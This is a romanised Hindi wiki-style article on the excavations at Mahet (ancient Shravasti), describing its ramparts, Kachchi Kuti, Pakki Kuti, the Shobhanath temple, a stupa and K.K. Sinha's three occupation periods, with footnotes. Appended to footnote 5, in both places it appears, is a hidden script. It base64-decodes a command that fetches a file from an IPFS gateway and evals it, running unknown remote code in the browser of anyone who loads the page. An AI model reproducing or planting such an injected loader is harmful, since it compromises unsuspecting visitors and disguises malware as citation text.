महेत का उत्खनन

	mahet ka utkhanan
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	shravasti uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

mahet ka samikaran prachin shravasti se kiya gaya hai. kaniangham ne isaki paridhi ka vistar 17300 phut nirdharit kiya hai.^[1] phogal ne shravasti nagar ka ghera 17250 phut tatha sanpoorn kshetraphal 40.773 ek d nishchit kiya hai. is nagar mean eesa poorv chhathi shatabdi se lekar 12 vian shatabdi ke bich nirantar parivartan hote rahe. chini chatriyoan ne is nagar ko parityakt evan nirjan paya. koshal rajy ke patan ke pashchath is nagar ka kramash: hras hota gaya. at: shravasti nagar ke vistar ka kabhi mauqa nahian mil paya. is nagar ka poorn vinash 12 vian shatabdi mean musalamanoan dvara kiya gaya. is prakar phogal dvara ullikhit vartaman mahet ka 17250 phut ka ghera shravasti ki prachin sima se badha hua nahian pratit hota.

vistar aur vinyas

vistar aur vinyas ki drishti se mahet prachin nagar ka ek pramukh sthal tha. nagar ka bahari vistar mitti ki prachiroan se pariveshtit tha. prachiroan ki ooanchaee ek saman nahian hai. pashchimi or ki prachirean 35 se 40 phut ooanchi hai, jabaki dakshin aur poorv ki prachiroan ki ooanchaee 25 phut se 30 phut hai.^[2] unnisavian shatabdi sanpoorn kshetr vanoan se achchhadit tha. prachiroan ke bich-bich mean khula bhag tha, jinhean log daravaza kahate the.^[3] is tarah ke daravazoan ki sankhya atthais hai, jisamean phogal ne gyarah ko hi daravaza mana hai, jinamean se uttar aur poorv ki or ek-ek, dakshin ki or char aur pashchim ki or paanch daravaze haian. thumb|250px|left|mahet, shravasti uparyukt daravazoan mean se kuchh ka namakaran usaki sthiti ke adhar par kiya gaya hai. udaharanarth- ek daravaza piparahava ke nam se jana jata hai. isaka namakaran prachir ke as-pas ek vishesh prakar ke vriksh, pipal ke ugane ke karan hua tha. any mukhy daravazoan mean gangapur, banki, gelahi, nausahara, kaandabhari evan bazar daravaze haian.^[4] utkhanan mean is sthal se kachchi kuti, pakki kuti evan shobhanath mandir ke avashesh mile haian. in sthaloan se prapt vastuoan mean mrinmootiyaan, mrinbhaand, muharean, pratimaean evan lohe ke upakaran bhi haian.^[5]

kachchi kuti

kachchi kuti ka utkhanan sarvapratham hovi ne kiya tha. tatpashchath phogal ne is khandahar se vibhinn kal ki sanrachanaoan ka pata lagaya. utkhanan ke samay phogal ko tile ke oopari hisse mean adhunik kal ka ek eeantoan ka mandir mila tha. jisaki uttari aur pashchimi divare ab bhi vidyaman haian. any donoan kinare^[6] kachchi chinaee se punarnirmit haian, jisaka nirman vahaan nivas karane vale kisi mahatma ne karavaya tha. isi mahatma ne poorvavarti chinaee ko khudavakar mandir ka bhi nirman karavaya tha. is vartaman mandir ka pravesh-dvar poorv taraph se hai. poorvavarti mandir ka vastavik dvar pashchim taraph se tha, jise yahaan nivas karane vale kisi sadhu ne ek b de patthar se band kar diya tha. yah patthar (3 phut 6 ianch X 1 phut 6 ianch X 7 ½ phut) ek moorti ki pithika pratit hoti hai. sanbhav hai yah pithika evan moorti pahale isi mandir mean sthapit rahi hoan.^[7]

kachchi kuti ka utkhanan

utkhanan mean phogal ko yahaan se kuchh patthar ke tuk de mile the, jo nishchit roop se kisi pratima ke khandit aansh haian. yadyapi ye tuk de itane chhote haian ki inako milakar kisi pratima ka praroop taiyar karana kathin hai; phir bhi yah to lagabhag nishchit hai ki paravarti kal mean nirmit yah mandir jisake khandahar abhi bhi vartaman haian, ek prastar pratima se yukt raha hoga. thumb|250px|left|shobhanath mandir, shravasti

adhishthan

is mandir ka adhishthan^[8] atyant prachin hai, jisaka vistar poorv se pashchim 105 phut tatha uttar se dakshin 72 phut tha. mandir mean pahuanchane ke lie pashchim taraph se 45 phut lanbi aur 14 phut 5 ianch chau di sidhiyaan bani thian.^[9] mandir ke ayatakar adhishthan ka pratyek kinara 18 phut se 19 phut ke prakshepan se yukt tha. isaka uttari-poorvi kinara punarnirmit hai. 14 phut ooanchi uttari divarean abhi bhi surakshit haian. is divar ka oopari bhag analankrit eeantoan se nirmit bhittistanbh ki panktiyoan se susajjit hai, jinamean 11 ianch vistrit nimagnaphalak apas mean 3 phut 10 ianch ki doori par bane haian.

isamean prayukt eeantean bhinn akaroan ki haian. sabase nichali paratoan mean dineted eeantoan ka prayog milata hai. isake oopar ki paratoan mean golakar eeantoan ka prayog milata hai. karnish ke niche 6 se 8 phut ki doori par vip-hols ki katarean bhi mili haian.

shri hovi ne kachchi kuti ke utkhanan mean dakshin aur uttari or ki divaroan ke nianch ki khudaee karake do kakshoan ka pata lagaya.^[10] ye donoan kaksh akar mean ayatakar the jo ooanchi eeantoan ki divaroan se pariveshtit the. nirman sanrachana ke adhar par phogal ne in kakshoan ko avas-grih nahian mana hai. kachchi kuti se naushahara aur kaandabhari daravazoan ki or do raste jate the.

utkhanan mean yahaan se phogal ko 356 mrinmoortiyaan evan kuchh prastar pratimaean mili thi.^[11] isamean se adhikaansh moortiyaan khandit haian. any vastuoan mean mitti ki muharean, mrinbhaand evan lohe ke upakaran ullekhaniy haian.^[5]

shobhanath ka mandir

[[chitr:Shobhnath-Temple.jpg|shobhanath mandir, shravasti|250px|thumb]]

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shobhanath ka mandir mahet ke pashchim mean sthit hai. is mandir ka shobhanath nam tisavean tirthankar sanbhavanath ke nam par p da. vishvas kiya jata hai ki jainiyoan ke tisare tirthakar sanbhavanath ka janm shravasti mean hi hua tha.^[12] shri hovi ne sarvapratham yahaan 1824-25 aur 1875-76 mean simit utkhanan karavaya tha lekin utkhanan se prapt vivaran atyant sankshipt evan sandigdh hai.^[5]

pakki kuti

‘mahet’ mean sthit pakki kuti ek mahattvapoorn sthal hai jo kachchi kuti se uttar-pashchim mean sthit hai. isaka adhunik nam yahaan nivas karane vale kisi faqir (sadhu) ke nivas-sthan ke karan p da. kaniangham ne ise chini yatriyoan ke aangulimal stoop se samikrit kiya hai. is khandahar ki aanshik khudaee shri hovi ne ki thi. kalaantar mean phogal ne is kshetr ka utkhanan karavaya jisase jnat hua ki isaka akar chatushkoniy tha. isaka uttar se dakshin vistar 120 phut tatha poorv se pashchim 77 phut 8 ianch tha. is kuti ke poorvi kinare ka utkhanan abhi nahian ho paya hai. sanbhav hai ki is bhavan ka vistar aur age tak raha ho. is kuti ki aantarik sanrachana mean aniyamit dhang ki divarean tatha ayatakar evan vargakar kaksh mile haian. in kakshoan mean daravazoan evan khi dakiyoan ka abhav is tathy ka sakshi hai ki is sanrachana ka prayog avasagrih ke roop mean nahian ho hota tha. vastut: yah ek stoop tha. utkhanan mean is sthal se koee bhi aisi vastu nahian mili hai, jisase isaki buddhakalin vihar ki soochana ko prashray mile.

tile ke keandr mean vakrakar divarean bhi mili haian. shri hovi ne utkhanan karate samay is kuti ke madhy bhag mean dakshin se uttar ki or ek surang bana di taki varsha se is tile ki raksha ho sake. hovi ki bhoomi ki satah par vibhajak divaroan ke bhi avashesh mile haian. utkhanan mean pakki kuti se aisi koee vastu nahian mili, jisase usaki dharmikata pramanit ho sake. chini yatriyoan ke yatra vivaranoan mean ullikhat prachin nyayalay kaksh ki sanrachana ko hovi pakki kuti se samikrit karate haian. hovi is sanrachana ko paravarti kal ki punarnirmit sanrachana manate haian.^[13]^[5] [[chitr:Anandabodhi-Tree-Sravasti.jpg|thumb|left|anand bodhi vriksh, jetavan, shravasti]]

stoop ‘e’

is stoop ko shri hovi ne hvenasaang dvara varnit aangulimal stoop se samikrit kiya hai. yah pakki kuti se poorv mean aur kachchi kuti se uttar-poorv mean sthit tha. hovi ne 9 phut ki paridhi mean 30 ianch tak niche khudaee ki aur paya ki isaka aantarik bhag thos hai. stoop ke oopar ka aand 20 phut paridhi mean vistrit tha. isamean prayukt eeantean kee akar ki haian. sabase b di eeantean 12 ½ ianch X 9 ianch X 2 ½ ianch akar ki haian. is stoop ke bahari sthal ka utkhanan phogal ne 8 phut niche tak karavaya tha. isaka nichala adhishthan ek ayatakar chabootare (72 phut X 45 phut) se yukt tha, jisake poorv mean sidhiyaan thian. ye sidhiyaan 22 phut lanbi aur 14 phut chau di thian, jo kachchi kuti aur shobhanath mandir mean prayukt sidhiyoan ke sadrish thian. uttari or ka chabootara surakshit tha jisaki ooanchaee 4 phut thi. yahaan se prapt adhikaansh eeantean khandit haian. vaise samanyataya eeantoan ki map 12 ½ ianch X 9 ianch X 2 ½ ianch hai. chinaee mean naqqashidar eeantoan ka sarvatha abhav milata haian.^[14]

stoop ‘e’ ka utkhanan

kachchi kuti ke dvar se stoop ki disha mean phogal ne 6 ½ phut vistrit ek khatti khudavaee thi. yahaan se unhean ek nichali sanrachana ke avashesh mile the. is sanrachana mean prayukt eeantoan ko char paratoan ka bhi pata chalata hai. utkhanan mean b di sankhya mean chhote mrinbhaand evan kuchh mrinmoortiyaan bhi mili haian.

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stoop ‘e’ ka vaijnanik utkhanan

shravasti ka vaijnanik utkhanan 1959-60 ee. mean shri krishna kumar sinha dvara kiya gaya,^[15] jisase yahaan ki durg sanrachana tatha surakshatmak divar ke kal-kram par mahattvapoorn prakash p da hai. inake utkhanan se jnat hua ki shravasti ka vikas tin kaloan mean hua tha. in kaloan mean yahaan se prapt vastuoan tatha nirman prakriya mean aantar drishtigat hota hai.

pratham kal

thumb|250px|shaanti ghanta, shravasti pratham kal mean nagar ki bahari divaroan ka nirman nahian hua tha. ullekhaniy hai paravarti kal mean bahari divarean milati haian. is kal ke mrinbhaand vikasit paranpara mean milate haian. yahaan se uttari krishna parimarjit mrinbhaand b di sankhya se prapt hue haian. yahaan se prapt kuchh mrinbhaand 600 ee. poo. ke etheniyan kalashoan ke saman haian.^[16] is prakar ke mrinbhaandoan ko vistar bharat-pakistan upamahadvipiy kshetr mean milata hai. isake atirikt shishe ki parabhashi choo diyaan bhi mili haian. dhatu ke roop mean is samay mukhyat: taanbe ka hi prayog kiya jata tha, tathapi lohe ka prachalan bhi ho chuka tha. taanbe ka prayog mukhy roop se grihasthi ke samanoan evan abhooshanoan ke roop mean kiya jata tha.^[17]

dvitiy kal

yadyapi pratham kal ke aant tatha dvitiy kal ke praranbh mean samay ki drishti se koee vishesh aantar nahian hai tathapi donoan ki nirmit vastuoan mean paryapt bhinnata dikhaee deti hai. dvitiy kal mean lohe ka upayog prachurata se milata hai. sath hi asthinirmit banagr bhi b di sankhya mean mile haian. is kal ki mukhy visheshata durg-sanrachana hai. mukhy prachiroan ke paravarti kaloan mean vistrit roop se saman aantaral par bane durg evan inaki divarean nagar ke vikas-kram ko siddh karati hai. shravasti ki nagariy divaroan ki sanrachana ki tulana kautily ke arthashastr mean ullikhit durg-sanrachana se ki ja sakati hai.^[18]

shravasti ke is simit kshetr ke utkhanan se suraksha prachiroan par poornat: prakash nahian p data hai. aisa pratit hota hai ki in raksha-prachiroan ka nirman hind-yavan rajaoan ke akraman ke suraksharth kiya gaya tha. yah ghatana mauryavansh ke patan ke pashchath sthaniy rajyoan ke abhyuday ke samakalik hai. dvitiy kal mean nirmit makanoan mean mitti ke gare se yukt paki eeantoan ka prayog milata hai. is kal ki nirman sanrachana ki tin avasthaean drishtigat hoti haian. shri sinha^[19] ne in tinoan pravasthaoan ka kal-kram nimnalikhit roop se nirdharit kiya hai-

prarambhik pravastha – 275 ee. poo. se 200 ee. poo.
madhyavarti pravastha – 200 ee. poo. se 125 ee. poo.
paravarti pravastha – 125 ee. poo. se 50 ee. poo..

tritiy kal

utkhanan se tritiy kal ke avashesh atyant simit kshetr se mile haian, isase yah pratit hota hai ki is samay yah nagar vinasht ho chuka tha. utkhanan se paravarti kal mean nirmit kuchh sanrachanaoan ka bhi pata chala hai.^[5]

left|30px|link=sahet ka utkhanan|pichhe jaean

sahet ka utkhanan

mahet ka utkhanan

shravasti

right|30px|link=shravasti|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ e. kaniangham , aianshyeant jyographi aauph iandiya, prishth 346
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 84
↑ aisa pratit hota hai ki char daravazoan (poorv, pashchim, uttar dakshin) ko chho dakar pravesh ke lie prayukt hone vale ye vastavik daravaze nahian the. varanh samay-samay par nagarikoan dvara suvidhanusar banae ge sthanapann daravaze the.
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 85-90
↑ ^5.0 ^5.1 ^5.2 ^5.3 ^5.4 sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ poorvi aur uttari
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 91
↑ nianv
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 92
↑ hovi ne in donoan kakshoan ko ‘e’ aur ‘bi’ namoan se abhihit kiya hai.
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 95
↑ dekhean; vyoohalar aur barges ‘di iandiyan sekt jainaj, (landan 1903) prishth 67
↑ debala mitra, buddhist manumeants, prishth 78
↑ arkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 110
↑ krishna kumar sinha, eksakaiveshans ait shravasti, (varanasi, 1967
↑ rochak haian ki is tarah ke mrinbhaand bharat ke any sthaloan se nahian mile haian.
↑ krishna kumar sinha, eksakaiveshans ait shravasti, prishth 9
↑ arthashastr (ar. shamashastri sanskaran), maisoor 1919, adhyay 2
↑ krishna kumar sinha, eksakaiveshans ait shravasti, (varanasi, 1967), prishth 12

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] . kaniangham , aianshyeant jyographi aauph iandiya, prishth 346

[2] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 84

[3] sa pratit hota hai ki char daravazoan (poorv, pashchim, uttar dakshin) ko chho dakar pravesh ke lie prayukt hone vale ye vastavik daravaze nahian the. varanh samay-samay par nagarikoan dvara suvidhanusar banae ge sthanapann daravaze the.

[4] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 85-90

[.E0.A4.89.E0.A4.A4.E0.A5.8D.E0.A4.A4.E0.A4.B0_.E0.A4.AA.E0.A5.8D.E0.A4.B0.E0.A4.A6.E0.A5.87.E0.A4.B6-5] 5.0 ^5.1 ^5.2 ^5.3 ^5.4 sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[6] rvi aur uttari

[7] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 91

[8] v

[9] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 92

[10] hovi ne in donoan kakshoan ko ‘e’ aur ‘bi’ namoan se abhihit kiya hai.

[11] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 95

[12] ; vyoohalar aur barges ‘di iandiyan sekt jainaj, (landan 1903) prishth 67

[13] tra, buddhist manumeants, prishth 78

[14] rkiyolajikal sarve aauf iandiya enual riportas, 1907-08, prishth 110

[15] rishna kumar sinha, eksakaiveshans ait shravasti, (varanasi, 1967

[16] rochak haian ki is tarah ke mrinbhaand bharat ke any sthaloan se nahian mile haian.

[17] rishna kumar sinha, eksakaiveshans ait shravasti, prishth 9

[18] rthashastr (ar. shamashastri sanskaran), maisoor 1919, adhyay 2

[19] rishna kumar sinha, eksakaiveshans ait shravasti, (varanasi, 1967), prishth 12

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